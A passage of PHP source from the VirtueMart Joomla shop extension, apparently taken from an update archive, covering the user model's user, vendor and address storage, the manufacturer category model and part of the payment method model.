$alreadyStoredUserData->user_is_vendor; $data['virtuemart_vendor_id'] = $alreadyStoredUserData->virtuemart_vendor_id; } else { if(!isset($data['user_is_vendor']) and !empty($alreadyStoredUserData->user_is_vendor)){ $data['user_is_vendor'] = $alreadyStoredUserData->user_is_vendor; } if(!isset($data['virtuemart_vendor_id']) and !empty($alreadyStoredUserData->virtuemart_vendor_id)){ $data['virtuemart_vendor_id'] = $alreadyStoredUserData->virtuemart_vendor_id; } } unset($data['customer_number']); if(empty($alreadyStoredUserData->customer_number)){ //if(!class_exists('vmUserPlugin')) require(JPATH_VM_SITE.DS.'helpers'.DS.'vmuserplugin.php'); ///if(!$returnValues){ $data['customer_number'] = strtoupper(substr($data['username'],0,2)).substr(md5($data['username']),0,9); //We set this data so that vmshopper plugin know if they should set the customer nummer $data['customer_number_bycore'] = 1; //} } else { if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(!Permissions::getInstance()->check("admin,storeadmin")) { $data['customer_number'] = $alreadyStoredUserData->customer_number; } } if($app->isSite()){ unset($data['perms']); if(!empty($alreadyStoredUserData->perms)){ $data['perms'] = $alreadyStoredUserData->perms; } else { $data['perms'] = 'shopper'; } } else { } if($trigger){ JPluginHelper::importPlugin('vmshopper'); $dispatcher = JDispatcher::getInstance(); $plg_datas = $dispatcher->trigger('plgVmOnUserStore',array(&$data)); foreach($plg_datas as $plg_data){ // $data = array_merge($plg_data,$data); } } $usertable -> bindChecknStore($data); $errors = $usertable->getErrors(); foreach($errors as $error){ $this->setError($error); vmError('storing user adress data'.$error); $noError = false; } if(Permissions::getInstance()->check("admin,storeadmin")) { $shoppergroupmodel = VmModel::getModel('ShopperGroup'); if(empty($this->_defaultShopperGroup)){ $this->_defaultShopperGroup = $shoppergroupmodel->getDefault(0); } if(empty($data['virtuemart_shoppergroup_id']) or $data['virtuemart_shoppergroup_id']==$this->_defaultShopperGroup->virtuemart_shoppergroup_id){ $data['virtuemart_shoppergroup_id'] = array(); } // Bind the form fields to the table if(!empty($data['virtuemart_shoppergroup_id'])){ $shoppergroupData = array('virtuemart_user_id'=>$this->_id,'virtuemart_shoppergroup_id'=>$data['virtuemart_shoppergroup_id']); $user_shoppergroups_table = $this->getTable('vmuser_shoppergroups'); $shoppergroupData = $user_shoppergroups_table -> bindChecknStore($shoppergroupData); $errors = $user_shoppergroups_table->getErrors(); foreach($errors as $error){ $this->setError($error); vmError('Set shoppergroup '.$error); $noError = false; } } } if($trigger){ $plg_datas = $dispatcher->trigger('plgVmAfterUserStore',array($data)); foreach($plg_datas as $plg_data){ $data = array_merge($plg_data); } } return $noError; } public function storeVendorData($data){ if($data['user_is_vendor']){ $vendorModel = VmModel::getModel('vendor'); //TODO Attention this is set now to virtuemart_vendor_id=1, because using a vendor with different id then 1 is not completly supported and can lead to bugs //So we disable the possibility to store vendors not with virtuemart_vendor_id = 1 if(Vmconfig::get('multix','none')=='none' ){ $data['virtuemart_vendor_id'] = 1; vmdebug('no multivendor, set virtuemart_vendor_id = 1'); } $vendorModel->setId($data['virtuemart_vendor_id']); if(empty($data['vendor_store_name']) and !empty($data['company'])) $data['vendor_store_name'] = $data['company']; if (!$vendorModel->store($data)) { vmError('storeVendorData '.$vendorModel->getError()); vmdebug('Error storing vendor',$vendorModel); return false; } } return true; } /** * Take a data array and save any address info found in the array. * * @author unknown, oscar, max milbers * @param array $data (Posted) user data * @param sting $_table Table name to write to, null (default) not to write to the database * @param boolean $_cart Attention, this was deleted, the address to cart is now done in the controller (True to write to the session (cart)) * @return boolean True if the save was successful, false otherwise. */ function storeAddress(&$data){ // if(empty($data['address_type'])){ // vmError('storeAddress no address_type given'); // return false; // } $user =JFactory::getUser(); $userinfo = $this->getTable('userinfos'); if($data['address_type'] == 'BT'){ if(isset($data['virtuemart_userinfo_id']) and $data['virtuemart_userinfo_id']!=0){ $data['virtuemart_userinfo_id'] = (int)$data['virtuemart_userinfo_id']; if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); if(!Permissions::getInstance()->check('admin')){ $userinfo->load($data['virtuemart_userinfo_id']); if($userinfo->virtuemart_user_id!=$user->id){ vmError('Hacking attempt as admin?','Hacking attempt storeAddress'); return false; } } } else { if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); //Todo multi-x, also vendors should be allowed to change the user address. if(!Permissions::getInstance()->check('admin')){ $userId = $user->id; } else { $userId = (int)$data['virtuemart_user_id']; } $q = 'SELECT `virtuemart_userinfo_id` FROM #__virtuemart_userinfos WHERE `virtuemart_user_id` = '.$userId.' AND `address_type` = "BT"'; $this->_db->setQuery($q); $total = $this->_db->loadResultArray(); if (count($total) > 0) { $data['virtuemart_userinfo_id'] = (int)$total[0]; } else { $data['virtuemart_userinfo_id'] = 0;//md5(uniqid($this->virtuemart_user_id)); } $userinfo->load($data['virtuemart_userinfo_id']); //unset($data['virtuemart_userinfo_id']); } if(!$this->validateUserData((array)$data,'BT')){ return false; } $userInfoData = self::_prepareUserFields($data, 'BT',$userinfo); //vmdebug('model user storeAddress',$data); if (!$userinfo->bindChecknStore($userInfoData)) { vmError('storeAddress '.$userinfo->getError()); } } // Check for fields with the the 'shipto_' prefix; that means a (new) shipto address. if($data['address_type'] == 'ST' or isset($data['shipto_address_type_name'])){ $dataST = array(); $_pattern = '/^shipto_/'; foreach ($data as $_k => $_v) { if (preg_match($_pattern, $_k)) { $_new = preg_replace($_pattern, '', $_k); $dataST[$_new] = $_v; } } $userinfo = $this->getTable('userinfos'); if(isset($dataST['virtuemart_userinfo_id']) and $dataST['virtuemart_userinfo_id']!=0){ $dataST['virtuemart_userinfo_id'] = (int)$dataST['virtuemart_userinfo_id']; if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); if(!Permissions::getInstance()->check('admin')){ $userinfo->load($dataST['virtuemart_userinfo_id']); $user = JFactory::getUser(); if($userinfo->virtuemart_user_id!=$user->id){ vmError('Hacking attempt as admin?','Hacking attempt store address'); return false; } } } if(empty($userinfo->virtuemart_user_id)){ if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); if(!Permissions::getInstance()->check('admin')){ $dataST['virtuemart_user_id'] = $user->id; } else { if(isset($data['virtuemart_user_id'])){ $dataST['virtuemart_user_id'] = (int)$data['virtuemart_user_id']; } else { //Disadvantage is that admins should not change the ST address in the FE (what should never happen anyway.) $dataST['virtuemart_user_id'] = $user->id; } } } if(!$this->validateUserData((array)$dataST,'ST')){ return false; } $dataST['address_type'] = 'ST'; $userfielddata = self::_prepareUserFields($dataST, 'ST',$userinfo); if (!$userinfo->bindChecknStore($userfielddata)) { vmError($userinfo->getError()); } } return $userinfo->virtuemart_userinfo_id; } /** * Test userdata if valid * * @author Max Milbers * @param String if BT or ST * @param Object If given, an object with data address data that must be formatted to an array * @return redirectMsg, if there is a redirectMsg, the redirect should be executed after */ public function validateUserData($data,$type='BT') { if (!class_exists('VirtueMartModelUserfields')) require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'userfields.php'); $userFieldsModel = VmModel::getModel('userfields'); if ($type == 'BT') { $fieldtype = 'account'; }else { $fieldtype = 'shipment'; } $neededFields = $userFieldsModel->getUserFields( $fieldtype , array('required' => true, 'delimiters' => true, 'captcha' => true, 'system' => false) , array('delimiter_userinfo', 'name','username', 'password', 'password2', 'address_type_name', 'address_type', 'user_is_vendor', 'agreed')); $i = 0; $j = 0; $return = true; $required = 0; //$objSize = count($data); $missingFields = array(); foreach ($neededFields as $field) { //This is a special test for the virtuemart_state_id. There is the speciality that the virtuemart_state_id could be 0 but is valid. if ($field->name == 'virtuemart_state_id') { if (!class_exists('VirtueMartModelState')) require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'state.php'); if(!empty($data['virtuemart_country_id'])){ if(!isset($data['virtuemart_state_id'])) $data['virtuemart_state_id'] = 0; if (!$msg = VirtueMartModelState::testStateCountry($data['virtuemart_country_id'], $data['virtuemart_state_id'])) { //The state is invalid, so we set the state 0 here. $data['virtuemart_state_id'] = 0; vmdebug('State was not fitting to country, set to 0'); } else if(empty($data['virtuemart_state_id'])){ vmdebug('virtuemart_state_id is empty, but valid (country has not states, set to unrequired'); $field->required = false; } else { vmdebug('validateUserData my country '.$data['virtuemart_country_id'].' my state '.$data['virtuemart_state_id']); } } } if($field->required ){ $required++; if(empty($data[$field->name])){ $missingFields[] = JText::_($field->title); $i++; $return = false; } else if($data[$field->name] == $field->default){ $i++; } else { } } } if($i==$required) $return = -1; //vmdebug('my i '.$i.' my data size '.$required,$return,$data); if(!$return){ VmConfig::loadJLang('com_virtuemart_shoppers', true); foreach($missingFields as $fieldname){ vmInfo(JText::sprintf('COM_VIRTUEMART_MISSING_VALUE_FOR_FIELD',$fieldname) ); vmdebug(''); } } return $return; } function _prepareUserFields(&$data, $type,$userinfo = 0) { if(!class_exists('VirtueMartModelUserfields')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'userfields.php' ); $userFieldsModel = VmModel::getModel('userfields'); if ($type == 'ST') { $prepareUserFields = $userFieldsModel->getUserFields( 'shipment' , array() // Default toggles ); } else { // BT // The user is not logged in (anonymous), so we need tome extra fields $prepareUserFields = $userFieldsModel->getUserFields( 'account' , array() // Default toggles , array('delimiter_userinfo', 'name', 'username', 'password', 'password2', 'user_is_vendor') // Skips ); } $admin = false; if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(Permissions::getInstance()->check('admin','storeadmin')){ $admin = true; } // Format the data foreach ($prepareUserFields as $fld) { if(empty($data[$fld->name])) $data[$fld->name] = ''; if(!$admin and $fld->readonly){ $fldName = $fld->name; unset($data[$fldName]); if($userinfo!==0){ if(property_exists($userinfo,$fldName)){ //vmdebug('property_exists userinfo->$fldName '.$fldName,$userinfo); $data[$fldName] = $userinfo->$fldName; } else { vmError('Your tables seem to be broken, you have fields in your form which have no corresponding field in the db'); } } } else { $data[$fld->name] = $userFieldsModel->prepareFieldDataSave($fld, $data); } } return $data; } function getBTuserinfo_id($id = 0){ if(empty($this->_db)) $this->_db = JFactory::getDBO(); if($id == 0){ $id = $this->_id; //vmdebug('getBTuserinfo_id is '.$this->_id); } $q = 'SELECT `virtuemart_userinfo_id` FROM `#__virtuemart_userinfos` WHERE `virtuemart_user_id` = "' .(int)$id .'" AND `address_type`="BT" '; $this->_db->setQuery($q); return $this->_db->loadResult(); } /** * * @author Max Milbers */ function getUserInfoInUserFields($layoutName, $type,$uid,$cart=true,$isVendor=false ){ // if(!class_exists('VirtueMartModelUserfields')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'userfields.php' ); // $userFieldsModel = new VirtuemartModelUserfields(); $userFieldsModel = VmModel::getModel('userfields'); $prepareUserFields = $userFieldsModel->getUserFieldsFor( $layoutName, $type, $uid ); if($type=='ST'){ $preFix = 'shipto_'; } else { $preFix = ''; } /* * JUser or $this->_id is the logged user */ if(!empty($this->_data->JUser)){ $JUser = $this->_data->JUser; } else { $JUser = JUser::getInstance($this->_id); } $userFields = array(); if(!empty($uid)){ $data = $this->getTable('userinfos'); $data->load($uid); //vmdebug('$data',$data); if($data->virtuemart_user_id!==0 and !$isVendor){ if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(!Permissions::getInstance()->check("admin")) { if($data->virtuemart_user_id!=$this->_id){ vmError('Hacking attempt loading userinfo, you got logged'); echo 'Hacking attempt loading userinfo, you got logged'; return false; } } } if ($data->address_type != 'ST' ) { $BTuid = $uid; $data->name = $JUser->name; $data->email = $JUser->email; $data->username = $JUser->username; $data->address_type = 'BT'; } // vmdebug('getUserInfoInUserFields ',$data); } else { //New Address is filled here with the data of the cart (we are in the userview) if($cart){ if (!class_exists('VirtueMartCart')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'cart.php'); $cart = VirtueMartCart::getCart(); $adType = $type.'address'; if(empty($cart->$adType)){ $data = $cart->$type; if(empty($data)) $data = array(); if($JUser){ if(empty($data['name'])){ $data['name'] = $JUser->name; } if(empty($data['email'])){ $data['email'] = $JUser->email; } if(empty($data['username'])){ $data['username'] = $JUser->username; } if(empty($data['virtuemart_user_id'])){ $data['virtuemart_user_id'] = $JUser->id; } } } $data = (object)$data; } else { if($JUser){ if(empty($data['name'])){ $data['name'] = $JUser->name; } if(empty($data['email'])){ $data['email'] = $JUser->email; } if(empty($data['username'])){ $data['username'] = $JUser->username; } if(empty($data['virtuemart_user_id'])){ $data['virtuemart_user_id'] = $JUser->id; } $data = (object)$data; } else { $data = null; } } } $userFields[$uid] = $userFieldsModel->getUserFieldsFilled( $prepareUserFields ,$data ,$preFix ); return $userFields; } /** * This should store the userdata given in userfields * * @author Max Milbers */ function storeUserDataByFields($data,$type, $toggles, $skips){ if(!class_exists('VirtueMartModelUserfields')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'userfields.php' ); $userFieldsModel = VmModel::getModel('userfields'); $prepareUserFields = $userFieldsModel->getUserFields( $type, $toggles, $skips ); // Format the data foreach ($prepareUserFields as $_fld) { if(empty($data[$_fld->name])) $data[$_fld->name] = ''; $data[$_fld->name] = $userFieldsModel->prepareFieldDataSave($_fld,$data); } $this->store($data); return true; } /** * This uses the shopFunctionsF::renderAndSendVmMail function, which uses a controller and task to render the content * and sents it then. * * * @author Oscar van Eijk * @author Max Milbers * @author Christopher Roussel * @author Valérie Isaksen */ private function sendRegistrationEmail($user, $password, $doUserActivation){ if(!class_exists('shopFunctionsF')) require(JPATH_VM_SITE.DS.'helpers'.DS.'shopfunctionsf.php'); $vars = array('user' => $user); // Send registration confirmation mail $password = preg_replace('/[\x00-\x1F\x7F]/', '', $password); //Disallow control chars in the email $vars['password'] = $password; if ($doUserActivation) { jimport('joomla.user.helper'); if(JVM_VERSION === 2) { $com_users = 'com_users'; $activationLink = 'index.php?option='.$com_users.'&task=registration.activate&token='.$user->get('activation'); } else { $com_users = 'com_user'; $activationLink = 'index.php?option='.$com_users.'&task=activate&activation='.$user->get('activation'); } $vars['activationLink'] = $activationLink; } $vars['doVendor']=true; // public function renderMail ($viewName, $recipient, $vars=array(),$controllerName = null) shopFunctionsF::renderMail('user', $user->get('email'), $vars); } /** * Delete all record ids selected * * @return boolean True is the remove was successful, false otherwise. */ function remove($userIds) { if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(Permissions::getInstance()->check('admin','storeadmin')) { $userInfo = $this->getTable('userinfos'); $vm_shoppergroup_xref = $this->getTable('vmuser_shoppergroups'); $vmusers = $this->getTable('vmusers'); $_status = true; foreach($userIds as $userId) { $_JUser = JUser::getInstance($userId); if ($this->getSuperAdminCount() <= 1) { // Prevent deletion of the only Super Admin //$_u = JUser::getInstance($userId); if ($_JUser->get('gid') == __SUPER_ADMIN_GID) { vmError(JText::_('COM_VIRTUEMART_USER_ERR_LASTSUPERADMIN')); $_status = false; continue; } } if(Permissions::getInstance()->check('storeadmin')) { if ($_JUser->get('gid') == __SUPER_ADMIN_GID) { vmError(JText::_('COM_VIRTUEMART_USER_ERR_LASTSUPERADMIN')); $_status = false; continue; } } if (!$userInfo->delete($userId)) { vmError($userInfo->getError()); return false; } if (!$vm_shoppergroup_xref->delete($userId)) { vmError($vm_shoppergroup_xref->getError()); // Signal but continue $_status = false; continue; } if (!$vmusers->delete($userId)) { vmError($vmusers->getError()); // Signal but continue $_status = false; continue; } if (!$_JUser->delete()) { vmError($_JUser->getError()); $_status = false; continue; } } } return $_status; } function removeAddress($virtuemart_userinfo_id){ $db = JFactory::getDBO(); if ( isset($virtuemart_userinfo_id) and $this->_id != 0 ) { //$userModel -> deleteAddressST(); $q = 'DELETE FROM #__virtuemart_userinfos WHERE virtuemart_user_id="'. $this->_id .'" AND virtuemart_userinfo_id="'. (int)$virtuemart_userinfo_id .'"'; $db->setQuery($q); if($db->query()){ vmInfo('Address has been successfully deleted.'); return true; } } return false; } /** * Retrieve a list of users from the database. * * @author Max Milbers * @return object List of user objects */ function getUserList() { //$select = ' * '; //$joinedTables = ' FROM #__users AS ju LEFT JOIN #__virtuemart_vmusers AS vmu ON ju.id = vmu.virtuemart_user_id'; $search = JRequest::getString('search', false); $tableToUse = JRequest::getString('searchTable','juser'); $where = ''; if ($search) { $where = ' WHERE '; $searchArray = array('ju.name','username','email','perms','usertype','shopper_group_name'); if($tableToUse!='juser'){ if(!class_exists('TableUserinfos'))require(JPATH_VM_ADMINISTRATOR.DS.'tables'.DS.'userinfos.php'); $db = JFactory::getDbo(); $userfieldTable = new TableUserinfos($db); $userfieldFields = get_object_vars($userfieldTable); $userFieldSearchArray = array('company','first_name','last_name'); //We must validate if the userfields actually exists, they could be removed $userFieldsValid = array(); foreach($userFieldSearchArray as $ufield){ if(array_key_exists($ufield,$userfieldFields)){ $userFieldsValid[] = $ufield; } } $searchArray = array_merge($userFieldsValid,$searchArray); } $search = str_replace(' ','%',$this->_db->getEscaped( $search, true )); foreach($searchArray as $field){ $where.= ' '.$field.' LIKE "%'.$search.'%" OR '; } $where = substr($where,0,-3); } $select = ' ju.id AS id , ju.name AS name , ju.username AS username , ju.email AS email , IFNULL(vmu.user_is_vendor,"0") AS is_vendor , IFNULL(sg.shopper_group_name, "") AS shopper_group_name '; if ($search) { if($tableToUse!='juser'){ $select .= ' , ui.name as uiname '; } foreach($searchArray as $ufield){ $select .= ' , '.$ufield; } } $joinedTables = ' FROM #__users AS ju LEFT JOIN #__virtuemart_vmusers AS vmu ON ju.id = vmu.virtuemart_user_id LEFT JOIN #__virtuemart_vmuser_shoppergroups AS vx ON ju.id = vx.virtuemart_user_id LEFT JOIN #__virtuemart_shoppergroups AS sg ON vx.virtuemart_shoppergroup_id = sg.virtuemart_shoppergroup_id '; if ($search and $tableToUse!='juser') { $joinedTables .= ' LEFT JOIN #__virtuemart_userinfos AS ui ON ui.virtuemart_user_id = vmu.virtuemart_user_id'; } return $this->_data = $this->exeSortSearchListQuery(0,$select,$joinedTables,$where,' GROUP BY ju.id',$this->_getOrdering()); } /** * If a filter was set, get the SQL WHERE clase * * @return string text to add to the SQL statement */ function _getFilter() { if ($search = JRequest::getString('search', false)) { $search = '"%' . $this->_db->getEscaped( $search, true ) . '%"' ; //$search = $this->_db->Quote($search, false); $searchArray = array('name','username','email','perms','usertype','shopper_group_name'); $where = ' WHERE '; foreach($searchArray as $field){ $where.= ' `'.$field.'` LIKE '.$search.' OR '; } $where = substr($where,0,-3); //$where = ' WHERE `name` LIKE '.$search.' OR `username` LIKE ' .$search.' OR `email` LIKE ' .$search.' OR `perms` LIKE ' .$search.' OR `usertype` LIKE ' .$search.' OR `shopper_group_name` LIKE ' .$search; return ($where); } return (''); } /** * Retrieve a single address for a user * * @param $_uid int User ID * @param $_virtuemart_userinfo_id string Optional User Info ID * @param $_type string, addess- type, ST (ShipTo, default) or BT (BillTo). Empty string to ignore */ function getUserAddressList($_uid = 0, $_type = 'ST',$_virtuemart_userinfo_id = -1){ //Todo, add perms, allow admin to see 0 entries. if($_uid==0 and $this->_id==0){ return array(); } $_q = 'SELECT * FROM #__virtuemart_userinfos WHERE virtuemart_user_id="' . (($_uid==0)?$this->_id:(int)$_uid) .'"'; if ($_virtuemart_userinfo_id !== -1) { $_q .= ' AND virtuemart_userinfo_id="'.(int)$_virtuemart_userinfo_id.'"'; } else { if ($_type !== '') { $_q .= ' AND address_type="'.$_type.'"'; } } // vmdebug('getUserAddressList query '.$_q); return ($this->_getList($_q)); } /** * Retrieves the Customer Number of the user specified by ID * * @param int $_id User ID * @return string Customer Number */ private $customer_number = 0; public function getCustomerNumberById() { if($this->customer_number===0){ $_q = "SELECT `customer_number` FROM `#__virtuemart_vmusers` " ."WHERE `virtuemart_user_id`='" . $this->_id . "' "; $_r = $this->_getList($_q); if(!empty($_r[0])){ $this->customer_number = $_r[0]->customer_number; }else { $this->customer_number = false; } } return $this->customer_number; } /** * Get the number of active Super Admins * * @return integer */ function getSuperAdminCount() { $this->_db->setQuery('SELECT COUNT(id) FROM #__users' . ' WHERE usertype = ' . __SUPER_ADMIN_GID . ' AND block = 0'); return ($this->_db->loadResult()); } /** * Return a list of Joomla ACL groups. * * The returned object list includes a group anme and a group name with spaces * prepended to the name for displaying an indented tree. * * @author RickG * @return ObjectList List of acl group objects. */ function getAclGroupIndentedTree() { //TODO check this out if (JVM_VERSION===1) { $name = 'name'; $as = '` AS `title`'; $table = '#__core_acl_aro_groups'; $and = 'AND `parent`.`lft` > 2 '; } else { $name = 'title'; $as = '`'; $table = '#__usergroups'; $and = ''; } //Ugly thing, produces Select_full_join $query = 'SELECT `node`.`' . $name . $as . ', CONCAT(REPEAT("   ", (COUNT(`parent`.`' . $name . '`) - 1)), `node`.`' . $name . '`) AS `text` '; $query .= 'FROM `' . $table . '` AS node, `' . $table . '` AS parent '; $query .= 'WHERE `node`.`lft` BETWEEN `parent`.`lft` AND `parent`.`rgt` '; $query .= $and; $query .= 'GROUP BY `node`.`' . $name . '` '; $query .= ' ORDER BY `node`.`lft`'; $this->_db->setQuery($query); //$app = JFactory::getApplication(); //$app -> enqueueMessage($this->_db->getQuery()); $objlist = $this->_db->loadObjectList(); // vmdebug('getAclGroupIndentedTree',$objlist); return $objlist; } } //No Closing tag PKsl>\)Ncom_virtuemart_update/administrator/components/com_virtuemart/models/.htaccessnuW+A Order allow,deny Deny from all PKsl>\l$9_com_virtuemart_update/administrator/components/com_virtuemart/models/manufacturercategories.phpnuW+AsetMainTable('manufacturercategories'); $this->addvalidOrderingFieldName(array('mf_category_name')); $config=JFactory::getConfig(); } /** * Retrieve the detail record for the current $id if the data has not already been loaded. * */ // function getManufacturerCategory(){ //// $db = JFactory::getDBO(); // if (empty($this->_data)) { // $this->_data = $this->getTable('manufacturercategories'); // $this->_data->load((int)$this->_id); // } //// print_r( $this->_db->_sql ); // if (!$this->_data) { // $this->_data = new stdClass(); // $this->_id = 0; // $this->_data = null; // } // return $this->_data; // } /** * Delete all record ids selected * * @return boolean True is the remove was successful, false otherwise. */ function remove($categoryIds) { $table = $this->getTable('manufacturercategories'); foreach($categoryIds as $categoryId) { if($table->checkManufacturer($categoryId)) { if (!$table->delete($categoryId)) { vmError($table->getError()); return false; } } else { vmError(get_class( $this ).'::remove '.$categoryId.' '.$table->getError()); return false; } } return true; } /** * Retireve a list of countries from the database. * * @param string $onlyPuiblished True to only retreive the published categories, false otherwise * @param string $noLimit True if no record count limit is used, false otherwise * @return object List of manufacturer categories objects */ function getManufacturerCategories($onlyPublished=false, $noLimit=false) { $this->_noLimit = $noLimit; $select = '* FROM `#__virtuemart_manufacturercategories_'.VMLANG.'` as l'; $joinedTables = ' JOIN `#__virtuemart_manufacturercategories` as mc using (`virtuemart_manufacturercategories_id`)'; $where = array(); if ($onlyPublished) { $where[] = ' `#__virtuemart_manufacturercategories`.`published` = 1'; } // $query .= ' ORDER BY `#__virtuemart_manufacturercategories`.`mf_category_name`'; $whereString = ''; if (count($where) > 0) $whereString = ' WHERE '.implode(' AND ', $where) ; if ( JRequest::getCmd('view') == 'manufacturercategories') { $ordering = $this->_getOrdering(); } else { $ordering = ' order by mf_category_name DESC'; } return $this->_data = $this->exeSortSearchListQuery(0,$select,$whereString,$joinedTables,$ordering); } /** * Build category filter * * @return object List of category to build filter select box */ function getCategoryFilter(){ $db = JFactory::getDBO(); $query = 'SELECT `virtuemart_manufacturercategories_id` as `value`, `mf_category_name` as text' .' FROM #__virtuemart_manufacturercategories_'.VMLANG.'`'; $db->setQuery($query); $categoryFilter[] = JHTML::_('select.option', '0', '- '. JText::_('COM_VIRTUEMART_SELECT_MANUFACTURER_CATEGORY') .' -' ); $categoryFilter = array_merge($categoryFilter, (array)$db->loadObjectList()); return $categoryFilter; } } // pure php no closing tagPKsl>\}9ǐ&&Vcom_virtuemart_update/administrator/components/com_virtuemart/models/paymentmethod.phpnuW+AsetMainTable('paymentmethods'); $this->_selectedOrdering = 'ordering'; } /** * Gets the virtuemart_paymentmethod_id with a plugin and vendorId * * @author Max Milbers */ public function getIdbyCodeAndVendorId($jpluginId,$vendorId=1){ if(!$jpluginId) return 0; $q = 'SELECT `virtuemart_paymentmethod_id` FROM #__virtuemart_paymentmethods WHERE `payment_jplugin_id` = "'.$jpluginId.'" AND `virtuemart_vendor_id` = "'.$vendorId.'" '; $this->_db->setQuery($q); return $this->_db->loadResult(); } /** * Retrieve the detail record for the current $id if the data has not already been loaded. * * @author Max Milbers */ public function getPayment(){ if (empty($this->_data[$this->_id])) { $this->_data[$this->_id] = $this->getTable('paymentmethods'); $this->_data[$this->_id]->load((int)$this->_id); if(empty($this->_data->virtuemart_vendor_id)){ if(!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'vendor.php'); $this->_data[$this->_id]->virtuemart_vendor_id = VirtueMartModelVendor::getLoggedVendor(); } if($this->_data[$this->_id]->payment_jplugin_id){ JPluginHelper::importPlugin('vmpayment'); $dispatcher = JDispatcher::getInstance(); $retValue = $dispatcher->trigger('plgVmDeclarePluginParamsPayment',array($this->_data[$this->_id]->payment_element,$this->_data[$this->_id]->payment_jplugin_id,&$this->_data[$this->_id])); } if($this->_data[$this->_id]->getCryptedFields()){ if(!class_exists('vmCrypt')){ require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'vmcrypt.php'); } if(isset($this->_data[$this->_id]->modified_on)){ $date = JFactory::getDate($this->_data[$this->_id]->modified_on); $date = $date->toUnix(); } else { $date = 0; } foreach($this->_data[$this->_id]->getCryptedFields() as $field){ if(isset($this->_data[$this->_id]->$field)){ $this->_data[$this->_id]->$field = vmCrypt::decrypt($this->_data[$this->_id]->$field,$date); } } } $q = 'SELECT `virtuemart_shoppergroup_id` FROM #__virtuemart_paymentmethod_shoppergroups WHERE `virtuemart_paymentmethod_id` = "'.$this->_id.'"'; $this->_db->setQuery($q); $this->_data[$this->_id]->virtuemart_shoppergroup_ids = $this->_db->loadResultArray(); if(empty($this->_data[$this->_id]->virtuemart_shoppergroup_ids)) $this->_data[$this->_id]->virtuemart_shoppergroup_ids = 0; } return $this->_data[$this->_id]; } /** * Retireve a list of calculation rules from the database. * * @author Max Milbers * @param string $onlyPuiblished True to only retreive the publish Calculation rules, false otherwise * @param string $noLimit True if no record count limit is used, false otherwise * @return object List of calculation rule objects */ public function getPayments($onlyPublished=false, $noLimit=false) { $where = array(); if ($onlyPublished) { $where[] = ' `#__virtuemart_paymentmethods`.`published` = 1'; } $whereString = ''; if (count($where) > 0) $whereString = ' WHERE '.implode(' AND ', $where) ; $select = ' * FROM `#__virtuemart_paymentmethods_'.VMLANG.'` as l '; $joinedTables = ' JOIN `#__virtuemart_paymentmethods` USING (`virtuemart_paymentmethod_id`) '; $this->_data =$this->exeSortSearchListQuery(0,$select,$joinedTables,$whereString,' ',$this->_getOrdering() ); //$this->exeSortSearchListQuery(0,'*',' FROM `#__virtuemart_paymentmethods`',$whereString,'',$this->_getOrdering('ordering')); if(isset($this->_data)){ if(!class_exists('shopfunctions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'shopfunctions.php'); foreach ($this->_data as $data){ /* Add the paymentmethod shoppergroups */ $q = 'SELECT `virtuemart_shoppergroup_id` FROM #__virtuemart_paymentmethod_shoppergroups WHERE `virtuemart_paymentmethod_id` = "'.$data->virtuemart_paymentmethod_id.'"'; $this->_db->setQuery($q); $data->virtuemart_shoppergroup_ids = $this->_db->loadResultArray(); /* Write the first 5 shoppergroups in the list */ $data->paymShoppersList = shopfunctions::renderGuiList('virtuemart_shoppergroup_id','#__virtuemart_paymentmethod_shoppergroups','virtuemart_paymentmethod_id',$data->virtuemart_paymentmethod_id,'shopper_group_name','#__virtuemart_shoppergroups','virtuemart_shoppergroup_id','shoppergroup',4,0); } } return $this->_data; } /** * Bind the post data to the paymentmethod tables and save it * * @author Max Milbers * @return boolean True is the save was successful, false otherwise. */ public function store(&$data) { if(is_object($data)){ $data = (array)$data; } if(!empty($data['params'])){ foreach($data['params'] as $k=>$v){ $data[$k] = $v; } } if(empty($data['virtuemart_vendor_id'])){ if(!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'vendor.php'); $data['virtuemart_vendor_id'] = VirtueMartModelVendor::getLoggedVendor(); } $table = $this->getTable('paymentmethods'); if(isset($data['payment_jplugin_id'])){ // missing string FIX, Bad way ? if (JVM_VERSION===1) { $tb = '#__plugins'; $ext_id = 'id'; } else { $tb = '#__extensions'; $ext_id = 'extension_id'; } $q = 'SELECT `element` FROM `' . $tb . '` WHERE `' . $ext_id . '` = "'.$data['payment_jplugin_id'].'"'; $this->_db->setQuery($q); $data['payment_element'] = $this->_db->loadResult(); $q = 'UPDATE `' . $tb . '` SET `enabled`= 1 WHERE `' . $ext_id . '` = "'.$data['payment_jplugin_id'].'"'; $this->_db->setQuery($q); $this->_db->query(); // special case moneybookers if ( strpos($data['payment_element'] , "moneybookers" ) !==false) { $q = 'UPDATE `#__extensions` SET `enabled`= 1 WHERE `element` ="moneybookers"'; $this->_db->setQuery($q); $this->_db->query(); } JPluginHelper::importPlugin('vmpayment'); $dispatcher = JDispatcher::getInstance(); $retValue = $dispatcher->trigger('plgVmSetOnTablePluginParamsPayment',array( $data['payment_element'],$data['payment_jplugin_id'],&$table)); } $table->bindChecknStore($data); $errors = $table->getErrors(); foreach($errors as $error){ vmError($error); } $xrefTable = 